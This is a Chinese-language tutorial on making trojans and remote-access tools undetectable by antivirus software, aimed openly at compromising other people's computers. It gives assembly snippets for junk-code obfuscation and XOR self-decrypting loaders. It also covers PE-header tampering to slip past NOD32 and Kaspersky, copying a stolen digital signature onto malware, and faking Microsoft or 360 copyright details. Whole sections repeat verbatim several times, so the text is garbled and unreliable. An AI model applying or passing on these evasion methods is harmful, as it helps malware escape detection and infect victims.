学习免杀,首先你得学会
汇编把,基础的
指令要懂得一些,一般的指令修改必须会,一般的修改这里就不赘述了,接下来就是掌握一些常用的免杀
技巧,这里总结一些
第一:我们学习免杀的方向:只是为了保护自己的黑软的话!就不会学的那么累(没必要去学汇编编程)有时候简单加下壳或者脱下壳就OK!如果是要挑战世界的杀毒 软件的话,毕竟每个PC 用户安装的杀软都不一样!想抓鸡拿 服务器的朋友就要进修 脱壳 破解,高级汇编的内容了,这将决定你免杀 技术的高低!
第二:免杀的环境:做免杀,逃不了测试这个 ***是不是修改成功!所以为了保护自己的 系统,我建议学免杀要先学会使用虚拟机,很多人会说,为什么不用影子?影子系统虽然也是可以保护的,暂用 资源又少,但是有些反弹型***,我们运行后如果失败(即使成功)都需要重启来完成完全清除的工作!做过QQ盗号***跟 黑鹰远控软件免杀的朋友应该深有体会!
第三:杀软的安装设置:个人建议安装 卡巴,NOD32,小红伞, 瑞星, 金山!(当然配置好的电脑可以再加上 江民,麦咖啡)!硬盘大的朋友建议全利用虚拟机安装杀软(方便以后重做系统,节省升级病毒库的时间)杀软的设置,可以说是很简单的!每安装完一个杀软,我们都要先在杀软设置里把监控跟自我保护的选项的钩去掉!然后升级病毒库!升级完后再关闭服务跟启动项(利用 360安全卫士)这样安装其他的杀软就不会起冲突了!这里注意下!瑞星升级后会自己更改自己的服务为 自动,所以瑞星建议最后装,最后升级,再关闭它的服务!这里我想大家肯定是关心杀软的序列号从哪来的吧!瑞星有体验版,金山有37天试用版,NOD32利用PPLOVE 网络电视有180天试用!卡巴等洋货在百度上搜索均有可用的序列号!这个就是考验大家的细心了!呵呵!卡巴不建议装6.0.7.0的,人家都在央视打广告了,我们就装2009把!(虽然卡巴的启发比不上NOD32的,但是它的主动可是免杀爱好者的“粉丝”)
杀软的查杀特点:
卡巴:主动+高启发 扫描~~,效果相当厉害,卡巴的主动非常麻烦,SSDT也被封了,启发式也极难通过,还是要取决于***本身的实力了,
瑞星:国内***的 超级对手可以这么说!对国内的***定位的 特征是洋货的N倍( 鸽子见证)主要查杀技术是内存查杀技术,但是对一些生僻的***,内存病毒库里竟然没有,只要过了表面就可以过内存......主动主杀敏感字符串,不过2009的主动貌似改进了不少......广告卖的倒不错,但是只是针对流行***!其他不常见***并没有加大什么强度!
NOD32:启发扫描的头领!主杀输入表函数,针对MYCCL定位器做过调整!定位建议用 multiCCL这个来定位!不过这个大块头对生僻壳的侦壳能力不强!加些生僻壳把一些函数保护起来可以让它无用武之地!(这类壳主要是加密型,不建议用压缩型)
金山:数据流查杀技术的代表!简单来说跟瑞星内存查杀技术有点一样!病毒库升级,查杀病毒速度都是超级快!但是杀毒能力比较上面的几款有点逊色!
360与金山清理专家:行为查杀的代表,金山清理专家比360查杀力度还大!但是监控能力......实在不想说!不过360的5.0版加了***云查杀,据说不是很好过(没试过~~~)
以上可以说是所有集合杀软的特点: 文件查杀,内存查杀,启发查杀,数据流查杀!行为查杀!主动防御!每个杀软都有自己的特点,一个人也不可能把 全球杀软都安装起来研究,但是以上4个杀软跟一个辅助可以说全包括了病毒查杀特点!也不能说哪个不好,哪个很好!有些***这个杀软杀不出来~~那个就可以杀出来!所以对于现在网上有些朋友对个别 杀毒软件不重视,就会导致你所谓的“ 肉鸡”插翅难飞!嘻嘻!
接下来就说说技巧方面的
1.比如你定位一个特征码定位到了一个字符串上我们比如这个特征码定位到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run,遇到这个我想大家一定是修改大小写吧,但是有时候修改大小写还是被杀。 这个我们可以怎么办呢,我们可以移动位置,因为这个肯定是一个api函数的参数,我们找到那个函数然后修改下调用地址就行了。 所以有时候大家不能总用通用方法,要学会变通。
2.NOD32的疑问,前天有人来问我他说它定位NOD32,定位到了资源上,这个有一个可能是你的定位有错误。这个你可以通过multiccl把资源和输入表段保护起来,然后定位,看可以定位出其他的特征码不能,至于MYCCL,一般的定位最好在 代码段开始定位,填充可以选择FF,66什么的,或者反向定位,定位的方法很多的,别人填充00,你就填充00么,现在的杀软已经把myccl扒的一干二净了,有反定位措施...
3.花指令 花指令无非是一些干扰 程序调试的一些手段,当然也可以作为用来迷惑杀毒软件使杀毒软件找不到我们的特征码,从而达到免杀。 为什么大家总是喜欢用网上的一些什么花指令方法。其实我发现其实多调用一些子程序,多加一些跳转,要比你们写花指令要好的多。不过本人不 推荐使用花指令免杀.
4.为什我服务端做了免杀,可是生成出来被杀。 这个大家首先可以对比一下有什么不同的地方,这个我给大家一个思路,现在杀毒软件就喜欢定位有标志型意义的地方(通俗点讲版权信息),大家在做的时候因为为了保护我们的***,所以就委屈下原作者,呵呵。版权信息给改了。 还有一个就是比如说灰鸽子,现在杀软会定位到它的一些dll文件名上,你修改完dll然后找到调用dll文件的函数,然后修改下参数即可。。。。
高强度花指令--SEH
SEH是WINDOWS系统中处理计算机异常行为的一种方式,这种方式的特点就是用入栈的方式把断点保存起来,所以他的效率很高,往往能够处理很多的异常状态。在免杀中我们可以通过它给***加花,让他“错误”地跳到入口点。
奉上汇编代码如下:
第一:我们学习免杀的方向:只是为了保护自己的黑软的话!就不会学的那么累(没必要去学汇编编程)有时候简单加下壳或者脱下壳就OK!如果是要挑战世界的杀毒 软件的话,毕竟每个PC 用户安装的杀软都不一样!想抓鸡拿 服务器的朋友就要进修 脱壳 破解,高级汇编的内容了,这将决定你免杀 技术的高低!
第二:免杀的环境:做免杀,逃不了测试这个 ***是不是修改成功!所以为了保护自己的 系统,我建议学免杀要先学会使用虚拟机,很多人会说,为什么不用影子?影子系统虽然也是可以保护的,暂用 资源又少,但是有些反弹型***,我们运行后如果失败(即使成功)都需要重启来完成完全清除的工作!做过QQ盗号***跟 黑鹰远控软件免杀的朋友应该深有体会!
第三:杀软的安装设置:个人建议安装 卡巴,NOD32,小红伞, 瑞星, 金山!(当然配置好的电脑可以再加上 江民,麦咖啡)!硬盘大的朋友建议全利用虚拟机安装杀软(方便以后重做系统,节省升级病毒库的时间)杀软的设置,可以说是很简单的!每安装完一个杀软,我们都要先在杀软设置里把监控跟自我保护的选项的钩去掉!然后升级病毒库!升级完后再关闭服务跟启动项(利用 360安全卫士)这样安装其他的杀软就不会起冲突了!这里注意下!瑞星升级后会自己更改自己的服务为 自动,所以瑞星建议最后装,最后升级,再关闭它的服务!这里我想大家肯定是关心杀软的序列号从哪来的吧!瑞星有体验版,金山有37天试用版,NOD32利用PPLOVE 网络电视有180天试用!卡巴等洋货在百度上搜索均有可用的序列号!这个就是考验大家的细心了!呵呵!卡巴不建议装6.0.7.0的,人家都在央视打广告了,我们就装2009把!(虽然卡巴的启发比不上NOD32的,但是它的主动可是免杀爱好者的“粉丝”)
杀软的查杀特点:
卡巴:主动+高启发 扫描~~,效果相当厉害,卡巴的主动非常麻烦,SSDT也被封了,启发式也极难通过,还是要取决于***本身的实力了,
瑞星:国内***的 超级对手可以这么说!对国内的***定位的 特征是洋货的N倍( 鸽子见证)主要查杀技术是内存查杀技术,但是对一些生僻的***,内存病毒库里竟然没有,只要过了表面就可以过内存......主动主杀敏感字符串,不过2009的主动貌似改进了不少......广告卖的倒不错,但是只是针对流行***!其他不常见***并没有加大什么强度!
NOD32:启发扫描的头领!主杀输入表函数,针对MYCCL定位器做过调整!定位建议用 multiCCL这个来定位!不过这个大块头对生僻壳的侦壳能力不强!加些生僻壳把一些函数保护起来可以让它无用武之地!(这类壳主要是加密型,不建议用压缩型)
金山:数据流查杀技术的代表!简单来说跟瑞星内存查杀技术有点一样!病毒库升级,查杀病毒速度都是超级快!但是杀毒能力比较上面的几款有点逊色!
360与金山清理专家:行为查杀的代表,金山清理专家比360查杀力度还大!但是监控能力......实在不想说!不过360的5.0版加了***云查杀,据说不是很好过(没试过~~~)
以上可以说是所有集合杀软的特点: 文件查杀,内存查杀,启发查杀,数据流查杀!行为查杀!主动防御!每个杀软都有自己的特点,一个人也不可能把 全球杀软都安装起来研究,但是以上4个杀软跟一个辅助可以说全包括了病毒查杀特点!也不能说哪个不好,哪个很好!有些***这个杀软杀不出来~~那个就可以杀出来!所以对于现在网上有些朋友对个别 杀毒软件不重视,就会导致你所谓的“ 肉鸡”插翅难飞!嘻嘻!
接下来就说说技巧方面的
1.比如你定位一个特征码定位到了一个字符串上我们比如这个特征码定位到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run,遇到这个我想大家一定是修改大小写吧,但是有时候修改大小写还是被杀。 这个我们可以怎么办呢,我们可以移动位置,因为这个肯定是一个api函数的参数,我们找到那个函数然后修改下调用地址就行了。 所以有时候大家不能总用通用方法,要学会变通。
2.NOD32的疑问,前天有人来问我他说它定位NOD32,定位到了资源上,这个有一个可能是你的定位有错误。这个你可以通过multiccl把资源和输入表段保护起来,然后定位,看可以定位出其他的特征码不能,至于MYCCL,一般的定位最好在 代码段开始定位,填充可以选择FF,66什么的,或者反向定位,定位的方法很多的,别人填充00,你就填充00么,现在的杀软已经把myccl扒的一干二净了,有反定位措施...
3.花指令 花指令无非是一些干扰 程序调试的一些手段,当然也可以作为用来迷惑杀毒软件使杀毒软件找不到我们的特征码,从而达到免杀。 为什么大家总是喜欢用网上的一些什么花指令方法。其实我发现其实多调用一些子程序,多加一些跳转,要比你们写花指令要好的多。不过本人不 推荐使用花指令免杀.
4.为什我服务端做了免杀,可是生成出来被杀。 这个大家首先可以对比一下有什么不同的地方,这个我给大家一个思路,现在杀毒软件就喜欢定位有标志型意义的地方(通俗点讲版权信息),大家在做的时候因为为了保护我们的***,所以就委屈下原作者,呵呵。版权信息给改了。 还有一个就是比如说灰鸽子,现在杀软会定位到它的一些dll文件名上,你修改完dll然后找到调用dll文件的函数,然后修改下参数即可。。。。
高强度花指令--SEH
SEH是WINDOWS系统中处理计算机异常行为的一种方式,这种方式的特点就是用入栈的方式把断点保存起来,所以他的效率很高,往往能够处理很多的异常状态。在免杀中我们可以通过它给***加花,让他“错误”地跳到入口点。
奉上汇编代码如下:
- call @f
- mov esp, [esp+8] ;保持堆栈的平衡
- jmp encrypt
- @@:
- xor edx, edx
- push dword [fs:edx]
- mov [fs:edx], esp
- int 3
- encrypt:
- ; 可以进行解密,xor疑惑啊等等。。
这样混淆的强度就很大了,其实还有很多这样的方法,自己漫漫研究把
免杀技巧
1. 遇到特征码定位在jmp指令上面的 构造替换 push xxxxx ret。
举例: jmp xxxxx
构造替换 push xxxxx
ret
2. 遇到特征码定位在call指令上的。
举例:
call xxxxx
构造替换: push @f
jmp xxxxx
@@:
;@@的标号表示的是你jmp xxxx指令后面的内存地址。 @f也就是引用@@ 的标号,所以此时@f这里填写的就是jmp xxxxx指令后面的内存地址。。
3. 遇到特征码定位在ret上
举例: ret
构造替换:
jmp dword ptr [esp]
4. 遇到特征码定位在test eax, eax je xxxx or eax, eax, je xxxxx cmp eax, 0 jexxxxxx
举例: test eax, eax
je xxxxxx
构造替换: xchg eax, ecx
jecxz xxxxx
5. 遇到特征码定位在 push [xxxxxx]上的。
举例:push [xxxxx]
构造:
在其之前通过 xchg [xxxxxx], ebx
然后用寄存器传参: push ebx
最后在下面在通过xchg [xxxxxx], ebx 交换回来。
6. 数据段动态恢复和巧用算法加密结合起来。
前提是对汇编大家一定要有所了解,例如一些人说金山杀的是配置信息上,你完全可以将其这些配置信息所处的地址的数据进行一层加密。或者你可以将其这些偏移所处的数据 通过xchg 交换。
dll注意下 要进行重定位
call $+5 ;机器码是 E8 00000000 00000000是相对地址
@@: pop ebx
sub ebx, @b
下面你就可以通过[ebx+你的偏移]来进行变址寻址了。。
test eax,eax
je xxxxxx
将test eax,eax nop掉,改je为jb
或将两句nop掉
test eax,eax
jnz xxxxxx
将两句nop掉
mov ebx,xxxxxx
mov ebp,eax
双mov可以上下调换
add edx, dword ptr [ebp+6E]
imul esi, dword ptr [edi+ebx*2+44], 614D6C6C
imul ebp, dword ptr [esi], 0
00 00
00 00
00 00
考虑下移
and eax,80000007
改为:
or eax,7FFFFFF9
用C32asm改,80000007为-80000007,C32asm会自动变为80000007的负数7FFFFFF9
je 等于则跳 改成 jle 也是等于则跳
这是瑞星的新把戏
00436008 09C0 xor EAX,EAX
改为
00436008 09C0 OR EAX,EAX
004A19BD 6A 00 PUSH 0
改为
004A19BD 6A 01 PUSH 1
0049D775 /77 07 JA SHORT 021.0049D77E
改为
0049D775 /7F 07 JG SHORT 021.0049D77E
特征码定位出来用OD载入却显示无此地址的解决方法
dll:
也许你经常遇到特征码定位出来用OD载入却显示无此地址.
我们用灰鸽子VIP2006的GETKEY.DLL做演示.
假若特征码为
[特征] 000009DA_00000002 004015DA (OC导出的内存地址)
使用OC导出的地址到OD中却不能使用.这时用lordpe打开GETKEY.dll
00013000
00400000 上下相加得00413000
OD载入入口为00883000 > 55 PUSH EBP
把40换成87就是真正的特征码.008715DA
Dll实例(黑洞1.97 瑞星dll特征):
OK=1
CharactorTotal=3
Codz1=H_0000354C_0092414C
Codz2=H_0001A4B4_0093B0B4
Codz3=H_0003C958_0095D558
先用lord_PE打开,再用OD打开
文件入口:00042948
> -------> 00442948
镜像:00400000
>----------->相减 00520000
内存入口 00962948
零区无法定位可执行文件数据的问题
1.c32asm来解决,静态反汇编改特征
2.加一0区段,跨区段jmp跳,然后再新区段保存"所有修改",再回到原特征码处jmp,保存
免杀关键是技巧,关键你对这些汇编指令掌握的程度,以及你对汇编程序的熟练度。。
接下来再说一下NOD32的高启
NOD32通过PE结构寻找特征代码 以导入表函数的修改为例 (这个简单,其实还有更复杂的上次那个***就是12处关联,但是12处关联破坏一个就免杀了)
首先他会从PE MZ那里开始计算PE HARD的位置 在从PE HARD处寻找数据段 计算数据段位置寻找指针的提示位置,然后通过指针的提示位置找到指针,通过指针找到导入表函数。
启发杀毒理解比较困难但是修改还是很简单的,可以说比普通的特征码更容易。我们只要破坏他以上分析的任何一个环节他就会全线溃败。
以前的pcshare有一个超简单过NOD32的方法,那就是将文件pcmain.dll的子系统设置为未知,这样再配置服务端,就可以直接过NOD32的高启发,因为NOD32默认的对未知PE文件不予 检测报毒,而恰巧,我们的pcshare通过这样更改之后仍然可以运行,达到了免杀目的,就是这么简单
其实卡巴为我们提供了更多修改的机会
因为他的特征是关联的,只要破坏他的关联就行了
就好像
1+2+3+4+5+6+7+8+9=45一样
特征码是45.当然会有很多选择我们可以改"1"也可以改“2”还可以改“3”……
改掉一个他下面的关联就被破坏了,也就免杀了,
解决NOD32最简单的两个方法
1.把文件子系统设未未知
2.修改OriginalFirstThunk 日期时间标志 ForwarderThunk 以前都是00000000 把它改成FFFFFFFF 或者别的,就这样就可以过了输入表查杀虽然之后lordpe提示“错误的指针”,但是 功能,上线都是没有损坏的
OriginalFirstThunk要看导入表是以什么方式导入的,不是随便瞎改的,这点我并不是很清楚,试验过很多的马,都是可以进行修改的 (感谢小鱼再次指正)
对于NOD32 pcshare特征码超多的问题
解释很简单 pcshare是一个典型的4代***(也有人称为3代,看分代标准)
很多代码很典型,适用于杀软研究广谱查杀。NOD32的启发更偏向于基因启发,但他没有独立的基因库,用病毒库代替了基因库,通过在病毒库里比对代码,确认病毒,看到我前面对基因启发的介绍,相信对NOD32病毒库小不难理解吧,很明显NOD32的开发者也意识到了这点,所以NOD32对启发可以报的病毒是不入库的。对于pcshare4处关键作为启发杀毒,剩下26个特征是辅助定位,4处关键修改后少量修改辅助定位就可以了。
关于OD修改字符串
例如pcshare有一个定位在“%S%S%S”上的...我们可以首先用C32把“%S%S%S”向前移一位,然后用OD载入,右键,超级字符串参考,
查找ASCII,然后找到所有的“s%s%s”(一般是一个PUSH或者CALL指令,他调用的就是这个字符串的地址),由于我们向前移了一位,所以显示的应该是“s%s%s”,然后双击来一个个修改...双击后会发现,对应的语句会有一个地址,我们把它改掉,向前一位,如4AD05168就改成4AD05167,接着同样方法继续改其它有“s%s%s”的...
这个方法通用字符串的修改...
另外还有一个容易忽略的问题,那就是文件版权
建议大家的***都不要使用原来的图标和版权信息,可以加上 微软,360的版权信息,有不少杀软会针对版权信息进行查杀(例:小红伞,遇到过几次,其余的不清楚)
360、卡巴免杀
怎么过360 卡巴 瑞星 金山 。。。
360其实很好过 行为查杀
只要把***默认的文件名 服务名 (现在应该没人在使用win98了吧 或用注册表启动的***了吧 如果有那么把注册表里的启动键值改了)修改掉 就OK了
金山流氓查杀也是一样的
接着说
瑞星 和 金山 其实 别看官方吹得很好 其实很垃圾 主动防御如同虚设
这里据个例子
黑洞1.96 吧 因为介绍卡巴的时候用到它 把服务端里面的 黑洞 藏鲸阁 等替换掉 (老陈,不是要砸你招牌 而是被逼的) 再把刚才说的 文件名 服务名 都换成其他的 那主动就过去了
其实NS也行 把 SYSNS.DLL 改名 把版权去掉(老熊莫怪哦)再定位出其他的特征码 修改掉(表面没过,以上是废话)
那么 金山 瑞星 360 就过去了
再说卡巴
卡巴2009的主动防御是很强悍的
其实 驱动过是最完美的
可是我菜 不会写驱动 不过 黑洞1.96国庆版 内有驱动 直接修改 因为这个驱动是为过卡巴而写 所以 只需要过卡巴就OK了
关于过微点
微点的主动防御非常NB,主流的***都被拦截了,主流的***不修改整体的结构的话是很难过微点的
虽然微点ssdt hook的函数不多,但是每次被它检查到并且删掉的滋味也不好受,恢复SSDT微点会很快就再恢复回来
不过现在很多远控都能过了,只是未公布方法而已
巧用算法加密特征码
XOR算法, 相同为0,相异为1
举个例子
此时
0001 xor 1111 = 1110
1110 xor 0001 = 1111
免杀技巧
1. 遇到特征码定位在jmp指令上面的 构造替换 push xxxxx ret。
举例: jmp xxxxx
构造替换 push xxxxx
ret
2. 遇到特征码定位在call指令上的。
举例:
call xxxxx
构造替换: push @f
jmp xxxxx
@@:
;@@的标号表示的是你jmp xxxx指令后面的内存地址。 @f也就是引用@@ 的标号,所以此时@f这里填写的就是jmp xxxxx指令后面的内存地址。。
3. 遇到特征码定位在ret上
举例: ret
构造替换:
jmp dword ptr [esp]
4. 遇到特征码定位在test eax, eax je xxxx or eax, eax, je xxxxx cmp eax, 0 jexxxxxx
举例: test eax, eax
je xxxxxx
构造替换: xchg eax, ecx
jecxz xxxxx
5. 遇到特征码定位在 push [xxxxxx]上的。
举例:push [xxxxx]
构造:
在其之前通过 xchg [xxxxxx], ebx
然后用寄存器传参: push ebx
最后在下面在通过xchg [xxxxxx], ebx 交换回来。
6. 数据段动态恢复和巧用算法加密结合起来。
前提是对汇编大家一定要有所了解,例如一些人说金山杀的是配置信息上,你完全可以将其这些配置信息所处的地址的数据进行一层加密。或者你可以将其这些偏移所处的数据 通过xchg 交换。
dll注意下 要进行重定位
call $+5 ;机器码是 E8 00000000 00000000是相对地址
@@: pop ebx
sub ebx, @b
下面你就可以通过[ebx+你的偏移]来进行变址寻址了。。
test eax,eax
je xxxxxx
将test eax,eax nop掉,改je为jb
或将两句nop掉
test eax,eax
jnz xxxxxx
将两句nop掉
mov ebx,xxxxxx
mov ebp,eax
双mov可以上下调换
add edx, dword ptr [ebp+6E]
imul esi, dword ptr [edi+ebx*2+44], 614D6C6C
imul ebp, dword ptr [esi], 0
00 00
00 00
00 00
考虑下移
and eax,80000007
改为:
or eax,7FFFFFF9
用C32asm改,80000007为-80000007,C32asm会自动变为80000007的负数7FFFFFF9
je 等于则跳 改成 jle 也是等于则跳
这是瑞星的新把戏
00436008 09C0 xor EAX,EAX
改为
00436008 09C0 OR EAX,EAX
004A19BD 6A 00 PUSH 0
改为
004A19BD 6A 01 PUSH 1
0049D775 /77 07 JA SHORT 021.0049D77E
改为
0049D775 /7F 07 JG SHORT 021.0049D77E
特征码定位出来用OD载入却显示无此地址的解决方法
dll:
也许你经常遇到特征码定位出来用OD载入却显示无此地址.
我们用灰鸽子VIP2006的GETKEY.DLL做演示.
假若特征码为
[特征] 000009DA_00000002 004015DA (OC导出的内存地址)
使用OC导出的地址到OD中却不能使用.这时用lordpe打开GETKEY.dll
00013000
00400000 上下相加得00413000
OD载入入口为00883000 > 55 PUSH EBP
把40换成87就是真正的特征码.008715DA
Dll实例(黑洞1.97 瑞星dll特征):
OK=1
CharactorTotal=3
Codz1=H_0000354C_0092414C
Codz2=H_0001A4B4_0093B0B4
Codz3=H_0003C958_0095D558
先用lord_PE打开,再用OD打开
文件入口:00042948
> -------> 00442948
镜像:00400000
>----------->相减 00520000
内存入口 00962948
零区无法定位可执行文件数据的问题
1.c32asm来解决,静态反汇编改特征
2.加一0区段,跨区段jmp跳,然后再新区段保存"所有修改",再回到原特征码处jmp,保存
免杀关键是技巧,关键你对这些汇编指令掌握的程度,以及你对汇编程序的熟练度。。
接下来再说一下NOD32的高启
NOD32通过PE结构寻找特征代码 以导入表函数的修改为例 (这个简单,其实还有更复杂的上次那个***就是12处关联,但是12处关联破坏一个就免杀了)
首先他会从PE MZ那里开始计算PE HARD的位置 在从PE HARD处寻找数据段 计算数据段位置寻找指针的提示位置,然后通过指针的提示位置找到指针,通过指针找到导入表函数。
启发杀毒理解比较困难但是修改还是很简单的,可以说比普通的特征码更容易。我们只要破坏他以上分析的任何一个环节他就会全线溃败。
以前的pcshare有一个超简单过NOD32的方法,那就是将文件pcmain.dll的子系统设置为未知,这样再配置服务端,就可以直接过NOD32的高启发,因为NOD32默认的对未知PE文件不予 检测报毒,而恰巧,我们的pcshare通过这样更改之后仍然可以运行,达到了免杀目的,就是这么简单
其实卡巴为我们提供了更多修改的机会
因为他的特征是关联的,只要破坏他的关联就行了
就好像
1+2+3+4+5+6+7+8+9=45一样
特征码是45.当然会有很多选择我们可以改"1"也可以改“2”还可以改“3”……
改掉一个他下面的关联就被破坏了,也就免杀了,
解决NOD32最简单的两个方法
1.把文件子系统设未未知
2.修改OriginalFirstThunk 日期时间标志 ForwarderThunk 以前都是00000000 把它改成FFFFFFFF 或者别的,就这样就可以过了输入表查杀虽然之后lordpe提示“错误的指针”,但是 功能,上线都是没有损坏的
OriginalFirstThunk要看导入表是以什么方式导入的,不是随便瞎改的,这点我并不是很清楚,试验过很多的马,都是可以进行修改的 (感谢小鱼再次指正)
对于NOD32 pcshare特征码超多的问题
解释很简单 pcshare是一个典型的4代***(也有人称为3代,看分代标准)
很多代码很典型,适用于杀软研究广谱查杀。NOD32的启发更偏向于基因启发,但他没有独立的基因库,用病毒库代替了基因库,通过在病毒库里比对代码,确认病毒,看到我前面对基因启发的介绍,相信对NOD32病毒库小不难理解吧,很明显NOD32的开发者也意识到了这点,所以NOD32对启发可以报的病毒是不入库的。对于pcshare4处关键作为启发杀毒,剩下26个特征是辅助定位,4处关键修改后少量修改辅助定位就可以了。
关于OD修改字符串
例如pcshare有一个定位在“%S%S%S”上的...我们可以首先用C32把“%S%S%S”向前移一位,然后用OD载入,右键,超级字符串参考,
查找ASCII,然后找到所有的“s%s%s”(一般是一个PUSH或者CALL指令,他调用的就是这个字符串的地址),由于我们向前移了一位,所以显示的应该是“s%s%s”,然后双击来一个个修改...双击后会发现,对应的语句会有一个地址,我们把它改掉,向前一位,如4AD05168就改成4AD05167,接着同样方法继续改其它有“s%s%s”的...
这个方法通用字符串的修改...
另外还有一个容易忽略的问题,那就是文件版权
建议大家的***都不要使用原来的图标和版权信息,可以加上 微软,360的版权信息,有不少杀软会针对版权信息进行查杀(例:小红伞,遇到过几次,其余的不清楚)
360、卡巴免杀
怎么过360 卡巴 瑞星 金山 。。。
360其实很好过 行为查杀
只要把***默认的文件名 服务名 (现在应该没人在使用win98了吧 或用注册表启动的***了吧 如果有那么把注册表里的启动键值改了)修改掉 就OK了
金山流氓查杀也是一样的
接着说
瑞星 和 金山 其实 别看官方吹得很好 其实很垃圾 主动防御如同虚设
这里据个例子
黑洞1.96 吧 因为介绍卡巴的时候用到它 把服务端里面的 黑洞 藏鲸阁 等替换掉 (老陈,不是要砸你招牌 而是被逼的) 再把刚才说的 文件名 服务名 都换成其他的 那主动就过去了
其实NS也行 把 SYSNS.DLL 改名 把版权去掉(老熊莫怪哦)再定位出其他的特征码 修改掉(表面没过,以上是废话)
那么 金山 瑞星 360 就过去了
再说卡巴
卡巴2009的主动防御是很强悍的
其实 驱动过是最完美的
可是我菜 不会写驱动 不过 黑洞1.96国庆版 内有驱动 直接修改 因为这个驱动是为过卡巴而写 所以 只需要过卡巴就OK了
关于过微点
微点的主动防御非常NB,主流的***都被拦截了,主流的***不修改整体的结构的话是很难过微点的
虽然微点ssdt hook的函数不多,但是每次被它检查到并且删掉的滋味也不好受,恢复SSDT微点会很快就再恢复回来
不过现在很多远控都能过了,只是未公布方法而已
巧用算法加密特征码
XOR算法, 相同为0,相异为1
举个例子
此时
0001 xor 1111 = 1110
1110 xor 0001 = 1111
以下是加密代码
另外还有kipass写的加密代码,可以参照
对于代码段,为了躲避跟着杀软跑我们得对代码段进行全部变形处理...有人问了,怎么变形呢?一般研究溢出,软件安全的DDMM,GGJJ们都知道在shellcode中有一种比较常见的为了保护自己的shellcode被直接修改利用用的xor加密...到这你应该可以想到了,这就是对整个代码段进行xor每个字节加密...但这样一来加密后就不能运行的..所以我们得找一段空白处,写一段我们的解密代码.并把文件入口点跳到这个解密代码上.
就以最近的flash漏洞的shellcode解密头来讲解. shellcode就是这段解密头的.
另外还有kipass写的加密代码,可以参照
对于代码段,为了躲避跟着杀软跑我们得对代码段进行全部变形处理...有人问了,怎么变形呢?一般研究溢出,软件安全的DDMM,GGJJ们都知道在shellcode中有一种比较常见的为了保护自己的shellcode被直接修改利用用的xor加密...到这你应该可以想到了,这就是对整个代码段进行xor每个字节加密...但这样一来加密后就不能运行的..所以我们得找一段空白处,写一段我们的解密代码.并把文件入口点跳到这个解密代码上.
就以最近的flash漏洞的shellcode解密头来讲解. shellcode就是这段解密头的.
- 00402246 60 pushad
- 00402247 BB 6F104000 mov ebx, 0040106F ; ASCII "IEFrame"
- 0040224C B9 02000000 mov ecx, 1
- 00402251 8B03 mov eax, dword ptr [ebx]
- 00402253 35 50403020 xor eax, 11111111 ;异或算法,密匙
- 00402258 8903 mov dword ptr [ebx], eax
- 0040225A 83C3 04 add ebx, 4
- 0040225D ^ E2 F2 loopd short 00402251
- popad
- 027F5118 /EB 16 jmp short 027F5130 //跳到往下027F5130
- 027F511A |5B pop ebx //自定位完毕 ebx存是就是紧接着loader下的需要解密处的开始内存地址..也就是027F5131处的
- 027F511B |33C9 xor ecx, ecx //清空ecx为下面循环解密xor的字节做准备
- 027F511D |66:B8 625D mov ax, 5D62 //传5D62给ax做初始密匙用
- 027F5121 |66:31044B xor word ptr [ebx+ecx*2], ax //对ebx+ecx*2处进行双字节解密..以前的都是单字节解密居多.
- 027F5125 |41 inc ecx //ecx加1,也就是密匙加1,动态变换密钥..这就是这个解密头的稍微比以前的解密强一点的地方..
- 027F5126 |40 inc eax //eax加1 累计解密多少次了.为下面判断做准备
- 027F5127 |66:81F9 5101 cmp cx, 151 //此处的151比较就是后面加密的代码的总长度除二..可以替换成你自己按需要解密的总字节数除以二
- 027F512C |7C F3 jl short 027F5121 //没有解密完就跳,继续解密
- 027F512E |EB 05 jmp short 027F5135 //解密完了,跳到解密完的地方开始正式执行原程序的代码了,此处跳转地址改成你加密的地方的开始地址
- 027F5130 E8 E5FFFFFF call 027F511A //配合027F511A处的pop ebx实现此代码的自定位..
这样代码段就变的面目全非了...完全不一样了...好下面是数据段的修改了
最简单的修改把原来的数据段里的东西分开处理.比如说资源..把资源全部移位,再修正指向资源的指针..其它以此类推.这完了数据段也处理完了..至少在原来的位置上的东东全部也不一样了...
重定位的段处理和数据段一样..
区段免杀技术
首先添加了一个空区段..名为king.. 这是原来的区
好.看一下这个区里的地址先~ 然后开始做了.
再用十六进制编辑查看一下区的大小情况..
A2A00 到 A2BF0
A2A00 到 A2BF0
让整个区整体向上偏移几位.. 由于上面的区本来就没有东西.是空的
所以我们也不用改任何东西.. 大家随机应变吧..
所以我们也不用改任何东西.. 大家随机应变吧..
可以适当的在区里面添加上一些伪指令.. 例如可以加入一些异常指令等等.效果自然会更好
教程未完..看到原来一图里面的区了吗..
一般都有PE头的下面..好看我把他们的区名全部给改了..
教程未完..看到原来一图里面的区了吗..
一般都有PE头的下面..好看我把他们的区名全部给改了..
这样也会误导杀软一些的难度. 其实在其它方面.还有一些免杀技术未被公开
还有一些杀其它部位的特征等等. 我们做免杀.不一定要修改特征码..
对我来说.特征码已经等于是过去了.. 此方法是研究源码免杀的时候悟出来了.
数字签名过卡巴
现在过卡巴主动的基本方法可能就是给***程序加上数字签名,卡巴对此视而不见
加数字签名很简单,用C32打开文件,从PE头开始的152个字节为 XX XX XX XX 这里为数字签名的地址(倒序)之后的数值是其签名代码的大小,随便找一个带有数字签名的文件,找到他的位置和大小,把代码全部复制下来,粘贴到***程序中,再更改相关的代码即可,以附件为例,数字签名的位置为:00 8E 00 00 大小:C8 24 那么数字签名则在8E00处,大小就是24C8,将其全部复制,再加在***程序的最后,然后再修改从PE头开始的152个字节的相关数值即可
还有一些杀其它部位的特征等等. 我们做免杀.不一定要修改特征码..
对我来说.特征码已经等于是过去了.. 此方法是研究源码免杀的时候悟出来了.
数字签名过卡巴
现在过卡巴主动的基本方法可能就是给***程序加上数字签名,卡巴对此视而不见
加数字签名很简单,用C32打开文件,从PE头开始的152个字节为 XX XX XX XX 这里为数字签名的地址(倒序)之后的数值是其签名代码的大小,随便找一个带有数字签名的文件,找到他的位置和大小,把代码全部复制下来,粘贴到***程序中,再更改相关的代码即可,以附件为例,数字签名的位置为:00 8E 00 00 大小:C8 24 那么数字签名则在8E00处,大小就是24C8,将其全部复制,再加在***程序的最后,然后再修改从PE头开始的152个字节的相关数值即可
Pcshare输出表输出函数名加密法
最近很多人说瑞星总是杀输出表的ServiceMain名称,由于ServiceMain输出函数并不是提供给我们的loader来进行调用的,它是在dll内部调用的,这也是大家在loader中找不到ServiceMain字符串的原因。
